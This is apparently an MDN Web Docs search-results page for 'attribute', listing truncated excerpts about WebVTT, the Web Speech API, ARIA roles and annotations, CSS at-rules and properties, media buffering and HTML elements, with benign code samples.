escape sequence ampersand & & less-than < < greater-than > > left-to-right mark ‎ right-to-left mark ‏ non-breaking space cue payload text tags there are a number of tags, such as <bold>, that can be used. however, if the webvtt file is used in a <track> element where the
attribute kind is chapters then you cannot use tags. timestamp tag the timestamp must be greater that the cue's start timestamp, greater than any previous timestamp in the cue payload, and less than the cue's end timestamp. the active text is the text between the timestamp and the next timestamp or to the end of the payload if there is not another timestamp in the payload. any text before the act...
...xt tag <ruby>www<rt>world wide web</rt>oui<rt>yes</rt></ruby> voice tag (<v></v>) similar to class tag, also used to style the contained text using css. example 20 - voice tag <v bob>text</v> interfaces there are two interfaces or apis used in webvtt which are: vttcue interface it is used for providing an interface in document object model api, where different
attributes supported by it can be used to prepare and alter the cues in number of ways. constructor is the first point for starting the cue which is defined using the default constructor vttcue(starttime, endtime, text) where starting time, ending time and text for cue can be adjusted. after that we can set the region for that particular cue to which this cue belongs using cue.region. vertical, horizontal...
...t cues in dom api: enum autokeyword { "auto" }; enum directionsetting { "" /* horizontal */, "rl", "lr" }; enum linealignsetting { "start", "center", "end" }; enum positionalignsetting { "line-left", "center", "line-right", "auto" }; enum alignsetting { "start", "center", "end", "left", "right" }; [constructor(double starttime, double endtime, domstring text)] interface vttcue : texttrackcue {
attribute vttregion? region;
attribute directionsetting vertical;
attribute boolean snaptolines;
attribute (double or autokeyword) line;
attribute linealignsetting linealign;
attribute (double or autokeyword) position;
attribute positionalignsetting positionalign;
attribute double size;
attribute alignsetting align;
attribute domstring text; documentfragment getcueashtml(); }; vtt regi...
...he multiple cues. there are several properties of vttregion which are width, lines, regionanchorx, regionanchory, viewportanchorx, viewportanchory and scroll that can be used to specify the look and feel of this vtt region. the interface code is given below which can be used to expose the webvtt regions in dom api: enum scrollsetting { "" /* none */, "up" }; [constructor] interface vttregion {
attribute double width;
attribute long lines;
attribute double regionanchorx;
attribute double regionanchory;
attribute double viewportanchorx;
attribute double viewportanchory;
attribute scrollsetting scroll; }; methods and properties the methods used in webvtt are those which are used to alter the cue or region as the
attributes for both interfaces are different. we can categorize them for ...
Using the Web Speech API - Web APIs
function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; i...
...grab them easily later on, and then append the options as children of the select. function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.set
attribute('data-lang', voices[i].lang); option.set
attribute('data-name', voices[i].name); voiceselect.appendchild(option); } } when we come to run the function, we do the following. this is because firefox doesn't support speechsynthesis.onvoiceschanged, and will just return a list of voices when speechsynthesis.getvoices() is fired. with chrome however, you have to wait for the event to fire be...
...r on the form so that the action happens when enter/return is pressed. we first create a new speechsynthesisutterance() instance using its constructor — this is passed the text input's value as a parameter. next, we need to figure out which voice to use. we use the htmlselectelement selectedoptions property to return the currently selected <option> element. we then use this element's data-name
attribute, finding the speechsynthesisvoice object whose name matches this
attribute's value. we set the matching voice object to be the value of the speechsynthesisutterance.voice property. finally, we set the speechsynthesisutterance.pitch and speechsynthesisutterance.rate to the values of the relevant range form elements. then, with all necessary preparations made, we start the utterance being spoken b...
...relevant range form elements. then, with all necessary preparations made, we start the utterance being spoken by invoking speechsynthesis.speak(), passing it the speechsynthesisutterance instance as a parameter. inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].get
attribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); in the final part of the handler, we include an speechsynthesisutterance.onpause handler to demonstrate how speechsynthesisevent can be put to good use. when speechs...
Window.print() - Web APIs
equest. ...
...ull support 12firefox full support 1ie full support 5opera full support 6notes full support 6notes notes starting with opera 33, this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.safari full support 1.1webview android full support 1notes full support 1notes notes starting with webview 46, this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.chrome android ...
... 1notes notes starting with webview 46, this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.chrome android full support 18notes full support 18notes notes starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.firefox android no support nonotes no support nonotes notes see bug 1247609.opera android full support 10.1notes full support 10.1notes notes starting with opera 33, this method is blocked i...
...ndroid no support nonotes no support nonotes notes see bug 1247609.opera android full support 10.1notes full support 10.1notes notes starting with opera 33, this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.safari ios full support 1samsung internet android full support 1.0notes full support 1.0notes notes starting with samsung internet 5.0, this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.le...
Window.prompt() - Web APIs
quest. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpromptchrome full support 1notes full support 1notes notes starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.edge full support 12firefox full support 1ie full support 4notes full support 4notes notes this function has no effect in the modern ui/metro version of internet explorer for windows 8. it do...
...t display a prompt to the user, and always returns undefined. it is not clear whether this is a bug or intended behavior. ...
... method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.safari full support 1webview android full support 1notes full support 1notes notes starting with webview 46, this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.chrome android full support 18notes full support 18notes notes starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.firefox android full support 4opera android ...
...blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.firefox android full support 4opera android full support 10.1notes full support 10.1notes notes starting with opera 33, this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.safari ios full support 1samsung internet android full support 1.0notes full support 1.0notes notes starting with samsung internet 5.0, this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modals.le...
ARIA live regions - Accessibility
s are usually visually apparent to users who can see the page, they may not be obvious to users of assistive technologies. aria live regions fill this gap and provide a way to programmatically expose dynamic content changes in a way that can be announced by assistive technologies. note: assistive technologies will announce dynamic changes in the content of a live region. including an aria-live
attribute or a specialized live region role (such as role="alert") on the element you want to announce changes to works as long as you add the
attribute before the changes occur — either in the original markup, or dynamically using javascript. simple live regions dynamic content which updates without a page reload is generally either a region or a widget. simple content changes which are not interacti...
... or a widget. simple content changes which are not interactive should be marked as live regions. below is a list of each related aria live region property with a description. aria-live: the aria-live=politeness_setting is used to set the priority with which screen reader should treat updates to live regions - the possible settings are: off, polite or assertive. the default setting is off. this
attribute is by far the most important. aria-controls: the aria-controls=[idlist] is used to associate a control with the regions that it controls. regions are identified just like an id in a div, and multiple regions can be associated with a control using a space, e.g. aria-controls="myregionid1 myregionsid2". not known if the aria-controls aspect of live regions is implemented in current ats, or w...
...e regions can be associated with a control using a space, e.g. aria-controls="myregionid1 myregionsid2". not known if the aria-controls aspect of live regions is implemented in current ats, or which. needs research. normally, only aria-live="polite" is used. any region which receives updates that are important for the user to receive, but not so rapid as to be annoying, should receive this
attribute. the screen reader will speak changes whenever the user is idle. for regions which are not important, or would be annoying because of rapid updates or other reasons, silence them with aria-live="off". dropdown box updates useful onscreen information a website specializing in providing information about planets provides a dropdown box. when a planet is selected from the dropdown, a region on th...
...id between a widget and a live region. use this with aria-valuemin, aria-valuenow and aria-valuemax. (tbd: add more info here). marquee for text which scrolls, such as a stock ticker. timer or any kind of timer or clock, such as a countdown timer or stopwatch readout. advanced live regions (tbd: more granular information on the support of the individual
attributes with combinations of os/browser/at). general support for live regions was added to jaws on version 10.0. in windows eyes supports live regions since version 8.0 "for use outside of browse mode for microsoft internet explorer and mozilla firefox". nvda added some basic support for live regions for mozilla firefox back in 2008 and was improved in 2010 and 2014. in 2015, basic support was also add...
Using the link role - Accessibility
e used to change focus to the link, and enter used to execute the link. note: where possible, it is recommended that you use a native <a> element rather than the link role, as native elements are more widely supported by older user agents and assistive technology. native <a> elements also support keyboard and focus requirements by default, without need for additional customization. the tabindex
attribute may optionally be used with this role to directly specify the position of the element in the tab order. possible effects on user agents and assistive technology when the link role is added to an element, or such an element becomes visible, the user agent should do the following: expose the element as having a link role in the operating system's accessibility api. fire an accessible link ev...
...hould handle this technique. the information provided above is one of those opinions and therefore not normative. examples this example shows how to implement a fake link using a <span> element. this includes javascript to grab the location and handle navigating to the new location using window.open() via clicking, and using keyboard, css to give the desired visuals of a link, the tabindex="0"
attribute to make it keyboard-focussable, and role="link" to make it recognised as a link by assistive technology. this is a huge amount of work just to recreate something you've get for free using the <a> element, so you should really use that if possible. but this shows that it can be done. you should however note that there are still problems with this approach: it is very difficult to detect wheth...
...text-decoration: underline; cursor: pointer; } span[role="link"]:focus { outline: 1px dotted black; } javascript const spanelem = document.queryselector('span'); //handles clicks and keydowns on the link function navigatelink(e) { if (e.type === 'click' || e.key === 'enter') { let ref = e.target != null ? ...
... if (ref) { window.open(ref.get
attribute('data-href'), '_blank'); } } } spanelem.addeventlistener('click', navigatelink); spanelem.addeventlistener('keydown', navigatelink); result notes if pressing the link triggers an action but does not change browser focus or navigate to a new page, you might wish to consider using the button role instead of the link role. ...
Using the slider role - Accessibility
describes the effect it has on browsers and assistive technology. the slider role is used for markup that allows a user to select a value from within a given range. the slider role is assigned to the "thumb," the control that is adjusted to change the value. as the user interacts with the thumb, the application must programmatically adjust the slider's aria-valuenow (and possible aria-valuetext)
attribute to reflect the current value. see the examples section below for more information. keyboard and focus the slider should be keyboard focusable and operable. when the user tabs focus to the slider, it should land on the thumb: the control a mouse user would drag. arrow keys should operate as follows (localization for right-to-left languages should reverse the direction of the arrows): k...
..."50" oninput="outputupdate(value)"> <output for="fader" id="volume">50</output> the following code snippet allows you to return the output as it is updated by user input: function outputupdate(vol) { document.queryselector('#volume').value = vol; } example 2: text values sometimes, a slider is used to choose a value that is not, semantically, a number. in these cases, the aria-valuetext
attribute is used to provide the appropriate text name for the currently selected value. in the example below, the slider is used to select a day of the week. <label id="day-label">days</label> <div class="day-slider"> <div id="day-handle" class="day-slider-handle" role="slider" aria-labelledby="day-label" aria-valuemin="1" aria-valuemax="7" aria-valuenow="2" aria-valuetext="monday">...
...y of the week. ...
...ria-valuenow="2" aria-valuetext="monday"> </div> </div> the code snippet below shows a function that responds to user input and updates the aria-valuenow and aria-valuetext
attributes: var daynames = ["sunday", "monday", "tuesday", "wednesday", "thursday", "friday", "saturday"]; var updateslider = function (newvalue) { var handle = document.getelementbyid("day-handle"); handle.set
attribute("aria-valuenow", newvalue.tostring()); handle.set
attribute("aria-valuetext", daynames[newvalue]); }; working examples: slider example notes aria
attributes used aria-valuemin aria-valuemax aria-valuenow aria-valuetext aria-orientation related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources ...
ARIA annotations - Accessibility
r deletion in an editable document), and comments (e.g. an editorial comment related to a part of a document under review). below we'll introduce the new features associated with aria annotations, and have a look at some code examples that show them in action. note: you can find all the examples discussed in this article in a demo file at aria-annotations. aria annotations features the aria
attributes providing these new abilities are as follows: aria-description="" — provides a detailed description of an html element, as opposed to the brief label provided by aria-label. role="insertion" and role="deletion" — semantically denote html elements whose contents represent an insertion to or deletion from the overall document. these are semantically equivalent to the html <ins> and <del> e...
...proposed change to an editable document. this should be used on an element that wraps a single insertion and deletion (see role="insertion" and role="deletion" above). role="comment" — semantically denotes a comment/reaction to some content on the page, or to a previous comment. to provide a semantic association between the document content being annotated and the annotation, an aria-details
attribute can be set on the annotated content that contains the id of the annotated element. aria-details has been updated so that it can support multiple ids — this makes sense, for example you can easily envisage having multiple comments relating to the same bit of text. aria annotation roles and objects are currently exposed in: firefox from version 75 onwards, on windows and linux (on macos, we a...
...ment. aria-details has been updated so that it can support multiple ids — this makes sense, for example you can easily envisage having multiple comments relating to the same bit of text. aria annotation roles and objects are currently exposed in: firefox from version 75 onwards, on windows and linux (on macos, we are first waiting for apple to define what safari will expose as apple-dialect
attributes to voiceover, and will then follow suit.) chrome from version 81 onwards, currently behind the #enable-accessibility-expose-aria-annotations flag (go to chrome://flags to enable this.) unfortunately, you won’t be able to use any of these yet, as screenreader support is currently not there. for the moment, you can see the annotations data being exposed with tools like firefox accessibility i...
..."thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> we’ve used role="comment" to mark this up as a comment. to associate the comment with the text being commented, we need to wrap the commented text with an element containing the aria-details
attribute, the value of which should be the id of the comment. <mark> is a suitable element for this purpose (a comment is a reference annotation), so the annotation could look like this: <p>the last half of the song is a slow-rising crescendo that peaks at the <mark aria-details="thread-1">end of the guitar solo</mark>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris...
ARIA: grid role - Accessibility
y th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus { background-color: #f6f6f6; outline: 3px solid blue; } } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].set
attribute('tabindex', 0); var trs = document.queryselectorall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(gridrow.queryselectorall('td'), function(el, i){ el.dataset.row = row; el.dataset.col = col; col = col + 1; }); if (col>maxcol) { maxcol = col - 1; } ...
...unction(gridrow, i){ array.prototype.foreach.call(gridrow.queryselectorall('td'), function(el, i){ el.dataset.row = row; el.dataset.col = col; col = col + 1; }); if (col>maxcol) { maxcol = col - 1; } col = 0; row = row + 1; }); function moveto(newrow, newcol) { var tgt = document.queryselector('[data-row="' + newrow + '"][data-col="' + newcol + '"]'); if (tgt && (tgt.get
attribute('role')==='gridcell') ) { array.prototype.foreach.call(document.queryselectorall('[role=gridcell]'), function(el, i){ el.set
attribute('tabindex', '-1'); }); tgt.set
attribute('tabindex', '0'); tgt.focus(); return true; } else { return false; } } document.queryselector('table').addeventlistener("keydown", function(event) { switch (event.key) { case "arrowrig...
...; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus { background-color: #f6f6f6; outline: 3px solid blue; } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].set
attribute('tabindex', 0); var trs = document.queryselectorall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(gridrow.queryselectorall('td'), function(el, i){ el.dataset.row = row; el.dataset.col = col; col = col + 1; }); if (col>maxcol) { maxcol = col - 1; } ...
...unction(gridrow, i){ array.prototype.foreach.call(gridrow.queryselectorall('td'), function(el, i){ el.dataset.row = row; el.dataset.col = col; col = col + 1; }); if (col>maxcol) { maxcol = col - 1; } col = 0; row = row + 1; }); function moveto(newrow, newcol) { var tgt = document.queryselector('[data-row="' + newrow + '"][data-col="' + newcol + '"]'); if (tgt && (tgt.get
attribute('role')==='gridcell') ) { array.prototype.foreach.call(document.queryselectorall('[role=gridcell]'), function(el, i){ el.set
attribute('tabindex', '-1'); }); tgt.set
attribute('tabindex', '0'); tgt.focus(); return true; } else { return false; } } document.queryselector('table').addeventlistener("keydown", function(event) { switch (event.key) { case "arrowrig...
ARIA: Region role - Accessibility
s content should make sense if separated from the main content of the document. using the <section> element will automatically communicate a section has a role of region if it is given an accessible name. developers should always prefer using the correct semantic html element, in this case <section>, over using aria. ...
...ocument. using the <section> element will automatically communicate a section has a role of region if it is given an accessible name. developers should always prefer using the correct semantic html element, in this case <section>, over using aria. associated wai-aria roles, states, and properties aria-labelledby use this
attribute to label the region. often, the value of the aria-labelledby
attribute will be the id of the element used to title the section. ...
...ated wai-aria roles, states, and properties aria-labelledby use this
attribute to label the region. often, the value of the aria-labelledby
attribute will be the id of the element used to title the section. keyboard interactions none. required javascript features none. examples <div role="region" aria-labelledby="region-heading"> <h2 id="region-heading">this heading's <code>id</code>
attribute helps this region have an accessible name</h2> <!-- region content --> </div> accessibility concerns use sparingly! landmark roles are intended to be used sparingly, to identify larger overall sections of the document. using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. only use the region role if no other rel...
...v role="region" aria-labelledby="heading"> <h3 id="use-discretion">please use the <code>region</code> role with discretion</h3> <!-- content --> </div> ... <div role="region" aria-labelledby="please-reconsider"> <h3 id="please-reconsider">please reconsider your document structure</h3> <!-- content --> </div> in this example, the region's label is being generated by the aria-labelledby
attribute. scrolling content areas with overflow text if there is a content area with tabindex="0", add role="region" to convey to screen reader users that is a generic region. this is done to allow keyboard-only users to scroll regions with overflow text. svg role="region" can be declared on areas of svg along with an aria-label to allow individual sections of the svg to be described. added benefits ...
:host-context() - CSS: Cascading Style Sheets
inside (so you can select a custom element from inside its shadow dom) — but only if the selector given as the function's parameter matches the shadow host's ancestor(s) in the place it sits inside the dom hierarchy. ...
... note: this has no effect when used outside a shadow dom. ...
...000; } :host-context(body.dark-theme) p { color: #fff; } syntax :host-context( <compound-selector-list> )where <compound-selector-list> = <compound-selector>#where <compound-selector> = [ <type-selector>? <subclass-selector>* [ <pseudo-element-selector> <pseudo-class-selector>* ]* ]!where <type-selector> = <wq-name> | <ns-prefix>? ...
......
@namespace - CSS: Cascading Style Sheets
@namespace is an at-rule that defines xml namespaces to be used in a css style sheet. syntax /* default namespace */ @namespace url(xml-namespace-url); @namespace "xml-namespace-url"; /* prefixed namespace */ @namespace prefix url(xml-namespace-url); @namespace prefix "xml-namespace-url"; description the defined namespaces can be used to restrict the universal, type, and
attribute selectors to only select elements within that namespace. the @namespace rule is generally only useful when dealing with documents containing multiple namespaces—such as html5 with inline svg or mathml, or xml that mixes multiple vocabularies. any @namespace rules must follow all @charset and @import rules, and precede all other at-rules and style declarations in a style sheet. @namespace can be used to define th...
...g multiple namespaces—such as html5 with inline svg or mathml, or xml that mixes multiple vocabularies. any @namespace rules must follow all @charset and @import rules, and precede all other at-rules and style declarations in a style sheet. @namespace can be used to define the default namespace for the style sheet. when a default namespace is defined, all universal and type selectors (but not
attribute selectors, see note below) apply only to elements in that namespace. the @namespace rule can also be used to define a namespace prefix. when a universal, type, or
attribute selector is prefixed with a namespace prefix, then that selector only matches if the namespace and name of the element or
attribute matches. in html5, known foreign elements will automatically be assigned namespaces. this me...
...efix. when a universal, type, or
attribute selector is prefixed with a namespace prefix, then that selector only matches if the namespace and name of the element or
attribute matches. in html5, known foreign elements will automatically be assigned namespaces. this means that html elements will act as though they are in the xhtml namespace (http://www.w3.org/1999/xhtml), even if there is no xmlns
attribute anywhere in the document, and the <svg> and <math> elements will be assigned their proper namespaces (http://www.w3.org/2000/svg and http://www.w3.org/1998/math/mathml). note: in xml, unless a prefix is defined directly on an
attribute (e.g., xlink:href), that
attribute has no namespace. in other words,
attributes do not inherit the namespace of the element they're on. to match this behaviour, ...
...ath> elements will be assigned their proper namespaces (http://www.w3.org/2000/svg and http://www.w3.org/1998/math/mathml). note: in xml, unless a prefix is defined directly on an
attribute (e.g., xlink:href), that
attribute has no namespace. in other words,
attributes do not inherit the namespace of the element they're on. to match this behaviour, the default namespace in css does not apply to
attribute selectors. formal syntax @namespace <namespace-prefix>? [ <string> | <url> ];where <namespace-prefix> = <ident> examples specifying default and prefixed namespaces @namespace url(http://www.w3.org/1999/xhtml); @namespace svg url(http://www.w3.org/2000/svg); /* this matches all xhtml <a> elements, as xhtml is the default unprefixed namespace */ a {} /* this matches all svg <a> elements */ ...
Alternative style sheets - CSS: Cascading Style Sheets
this feature (beginning with ie 8), also accessed from view > page style. chrome requires an extension to use the feature (as of version 48). the web page can also provide its own user interface to let the user switch styles. an example: specifying the alternative stylesheets the alternate stylesheets are commonly specified using a <link> element with rel="alternate stylesheet" and title="..."
attributes. for example: <link href="reset.css" rel="stylesheet" type="text/css"> <link href="default.css" rel="stylesheet" type="text/css" title="default style"> <link href="fancy.css" rel="alternate stylesheet" type="text/css" title="fancy"> <link href="basic.css" rel="alternate stylesheet" type="text/css" title="basic"> in this example, the styles "default style", "fancy", and "basic" will be listed...
...an try out. details any stylesheet in a document falls into one of the following categories: persistent (no rel="alternate", no title=""): always applies to the document. preferred (no rel="alternate", with title="..." specified): applied by default, but disabled if an alternate stylesheet is selected. ...
...eet is selected. there can only be one preferred stylesheet, so providing stylesheets with different title
attributes will cause some of them to be ignored. see correctly using titles with external stylesheets for a more detailed discussion. alternate (rel="alternate stylesheet", title="..." must be specified): disabled by default, can be selected. when style sheets are referenced with a title
attribute on the <link rel="stylesheeet"> or <style> element, the title becomes one of the choices offered to the user. style sheets linked with the same title are part of the same choice. style sheets linked without a title
attribute are always applied. use rel="stylesheet" to link to the default style, and rel="alternate stylesheet" to link to alternative style sheets. this tells the browser which style...
... do not support alternate style sheets. specifications specification status comment html living standardthe definition of 'link type "alternate"' in that specification. living standard html living standardthe definition of 'alternative stylesheet' in that specification. living standard html living standardthe definition of 'the "title"
attribute for the style element' in that specification. living standard html living standardthe definition of 'meta http-equiv="default-style")' in that specification. living standard css object model (cssom)the definition of 'css style sheet collections' in that specification. working draft the css om specification defines the concepts of the style sheet set name, its...
content - CSS: Cascading Style Sheets
for generated content, added in the level 3 specification */ content: url("http://www.example.com/test.png") / "this is the alt text"; /* values below can only be applied to generated content using ::before and ::after */ /* <string> value */ content: "prefix"; /* <counter> values */ content: counter(chapter_counter); content: counters(section_counter, "."); /* attr() value linked to the html
attribute value */ content: attr(value string); /* language- and position-dependent keywords */ content: open-quote; content: close-quote; content: no-open-quote; content: no-close-quote; /* except for normal and none, several values can be used simultaneously */ content: open-quote chapter_counter; /* global values */ content: inherit; content: initial; content: unset; syntax values none the pse...
...by default). the counters() function also has two forms: 'counters(name, string)' or 'counters(name, string, style)'. the generated text is the value of all counters with the given name in scope at the given pseudo-element, from outermost to innermost, separated by the specified string. the counters are rendered in the indicated style (decimal by default). attr(x) the value of the element's
attribute x as a string. if there is no
attribute x, an empty string is returned. the case-sensitivity of
attribute names depends on the document language. open-quote | close-quote these values are replaced by the appropriate string from the quotes property. no-open-quote | no-close-quote introduces no content, but increments (decrements) the level of nesting for quotes. accessibility concerns css-...
... html <ul> <li><a id="moz" href="http://www.mozilla.org/"> mozilla home page</a></li> <li><a id="mdn" href="https://developer.mozilla.org/"> mozilla developer network</a></li> </ul> css a { text-decoration: none; border-bottom: 3px dotted navy; } a::after { content: " (" attr(id) ")"; } #moz:...
...ories</li> <li>my biography</li> <li class="new-entry">vampire romance</li> </ol> css .new-entry::after { content: " new!"; /* the leading space creates separation between the added content and the rest of the content */ color: red; } result images and element
attributes this example inserts an image before each link, and adds its id
attribute after. html <ul> <li><a id="moz" href="http://www.mozilla.org/"> mozilla home page</a></li> <li><a id="mdn" href="https://developer.mozilla.org/"> mozilla developer network</a></li> </ul> css a { text-decoration: none; border-bottom: 3px dotted navy; } a::after { content: " (" attr(id) ")"; } #moz::before { content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.i...
Media buffering, seeking, and time ranges - Developer guides
sometimes it's useful to know how much <audio> or <video> has downloaded or is playable without delay — a good example of this is the buffered progress bar of an audio or video player. this article discusses how to build a buffer/seek bar using timeranges, and other features of the media api. buffered the buffered
attribute will tell us which parts of the media has been downloaded. ...
...s of the media has been downloaded. it returns a timeranges object, which will tell us which chunks of media have been downloaded. this is usually contiguous but if the user jumps about while media is buffering, it may contain holes. this will work with <audio> or <video>; for now let's consider a simple audio example: <audio id="my-audio" controls src="music.mp3"> </audio> we can access these
attributes like so: var myaudio = document.getelementbyid('my-audio'); var bufferedtimeranges = myaudio.buffered; timeranges object timeranges are a series of non-overlapping ranges of time, with start and stop times. (learn more about timeranges). a timeranges object consists of the following properties: length: the number of time ranges in the object. start(index): the start time, in seconds, of...
... context.rect(startx, 0, width, mycanvas.height); context.stroke(); } }); } this works better with longer pieces of audio or video, but press play and click about the player progress bar and you should get something like this. each red filled white rectangle represents a time range. note: you can see the timerange code running live on js bin. seekable the seekable
attribute returns a timeranges object and tells us which parts of the media can be played without delay; this is irrespective of whether that part has been downloaded or not. some parts of the media may be seekable but not buffered if byte-range requests are enabled on the server. byte range requests allow parts of the media file to be delivered from the server and so can be ready to play almost immediatel...
...ts allow parts of the media file to be delivered from the server and so can be ready to play almost immediately — thus they are seekable. var seekabletimeranges = myaudio.seekable; creating our own buffering feedback if we wish to create our own custom player, we may want to provide feedback on how much of the media is ready to be played. in practice a good way to do this is use the seekable
attribute, although as we have seen above seekable parts of the media are not neccessarily contiguous — they often are however and we can safely approximate this information to give the user an indication of which parts of the media can be played directly. we can find this point in the media using the following line of code: var seekableend = myaudio.seekable.end(myaudio.seekable.length - 1); note: my...
Content categories - Developer guides
<output>, <p>, <picture>, <pre>, <progress>, <q>, <ruby>, <s>, <samp>, <script>, <section>, <select>, <small>, <span>, <strong>, <sub>, <sup>, <svg>, <table>, <template>, <textarea>, <time>, <ul>, <var>, <video>, <wbr> and text. a few other elements belong to this category, but only if a specific condition is fulfilled: <area>, if it is a descendant of a <map> element <link>, if the itemprop
attribute is present <meta>, if the itemprop
attribute is present <style>, if the scoped
attribute is present sectioning content elements belonging to the sectioning content model create a section in the current outline that defines the scope of <header> elements, <footer> elements, and heading content. elements belonging to this category are <article>, <aside>, <nav> and <section>. do not confuse...
... <time>, <var>, <video>, <wbr> and plain text (not only consisting of white spaces characters). a few other elements belong to this category, but only if a specific condition is fulfilled: <a>, if it contains only phrasing content <area>, if it is a descendant of a <map> element <del>, if it contains only phrasing content <ins>, if it contains only phrasing content <link>, if the itemprop
attribute is present <map>, if it contains only phrasing content <meta>, if the itemprop
attribute is present embedded content embedded content imports another resource or inserts content from another mark-up language or namespace into the document. elements that belong to this category include: <audio>, <canvas>, <embed>, <iframe>, <img>, <math>, <object>, <picture>, <svg>, <video>. interactive cont...
...mg>, <math>, <object>, <picture>, <svg>, <video>. interactive content interactive content includes elements that are specifically designed for user interaction. elements that belong to this category include: <a>, <button>, <details>, <embed>, <iframe>, <keygen>, <label>, <select>, and <textarea>. some elements belong to this category only under specific conditions: <audio>, if the controls
attribute is present <img>, if the usemap
attribute is present <input>, if the type
attribute is not in the hidden state <menu>, if the type
attribute is in the toolbar state <object>, if the usemap
attribute is present <video>, if the controls
attribute is present palpable content content is palpable when it's neither empty or hidden; it is content that is rendered and is substantive. elements who...
...s present <video>, if the controls
attribute is present palpable content content is palpable when it's neither empty or hidden; it is content that is rendered and is substantive. elements whose model is flow content or phrasing content should have at least one node which is palpable. form-associated content form-associated content comprises elements that have a form owner, exposed by a form
attribute. a form owner is either the containing <form> element or the element whose id is specified in the form
attribute. <button> <fieldset> <input> <keygen> <label> <meter> <object> <output> <progress> <select> <textarea> this category contains several sub-categories: listed elements that are listed in the form.elements and fieldset.elements idl collections. contains <button>, <fiel...
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
e for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. as the example above shows, the <fieldset> element provides a grouping for a part of an html form, with a nested <legend> element providing a caption for the <fieldset>. ...
...ng for a part of an html form, with a nested <legend> element providing a caption for the <fieldset>. it takes few
attributes, the most notable of which are form, which can contain the id of a <form> on the same page, allowing you to make the <fieldset> part of that <form> even if it is not nested inside it, and disabled, which allows you to disable the <fieldset> and all its contents in one go.
attributes this element includes the global
attributes. disabled if this boolean
attribute is set, all form controls that are descendants of the <fieldset>, are disabled, meaning they are not editable and won't be submitted along with the <form>. they won't receive any browsing events, like mouse clicks or focus-related events. by default browsers display such controls grayed out. note that form eleme...
... name the name associated with the group. note: the caption for the fieldset is given by the first <legend> element nested inside it. styling with css there are several special styling considerations for <fieldset>. ...
...form controls that are descendants of the <fieldset>, are disabled, meaning they are not editable and won't be submitted along with the <form>. they won't receive any browsing events, like mouse clicks or focus-related events. by default browsers display such controls grayed out. note that form elements inside the <legend> element won't be disabled. form this
attribute takes the value of the id
attribute of a <form> element you want the <fieldset> to be part of, even if it is not inside the form. name the name associated with the group. note: the caption for the fieldset is given by the first <legend> element nested inside it. styling with css there are several special styling considerations for <fieldset>. its display value is block by default, and it establishes a block formatting cont...
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
y be omitted if the first thing inside the <html> element is not a comment. the end tag may be omitted if the <html> element is not immediately followed by a comment. permitted parents none. this is the root element of a document. ...
...tml> element is not a comment. the end tag may be omitted if the <html> element is not immediately followed by a comment. permitted parents none. this is the root element of a document. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlhtmlelement
attributes this element includes the global
attributes. manifest specifies the uri of a resource manifest indicating resources that should be cached locally. see using the application cache for details. version specifies the version of the html document type definition that governs the current document. this
attribute is not needed, because it is redundant with the version information in the document type declaration. xmlns specifies the...
...redundant with the version information in the document type declaration. xmlns specifies the xml namespace of the document. default value is "http://www.w3.org/1999/xhtml". this is required in documents parsed with xml parsers, and optional in text/html documents. example <!doctype html> <html lang="en"> <head>...</head> <body>...</body> </html> accessibility concerns providing a lang
attribute with a valid ietf identifying language tag on the <html> element will help screen reading technology determine the proper language to announce. the identifying language tag should describe the language used by the majority of the content of the page. without it, screen readers will typically default to the operating system's set language, which may cause mispronunciations. including a valid lang...
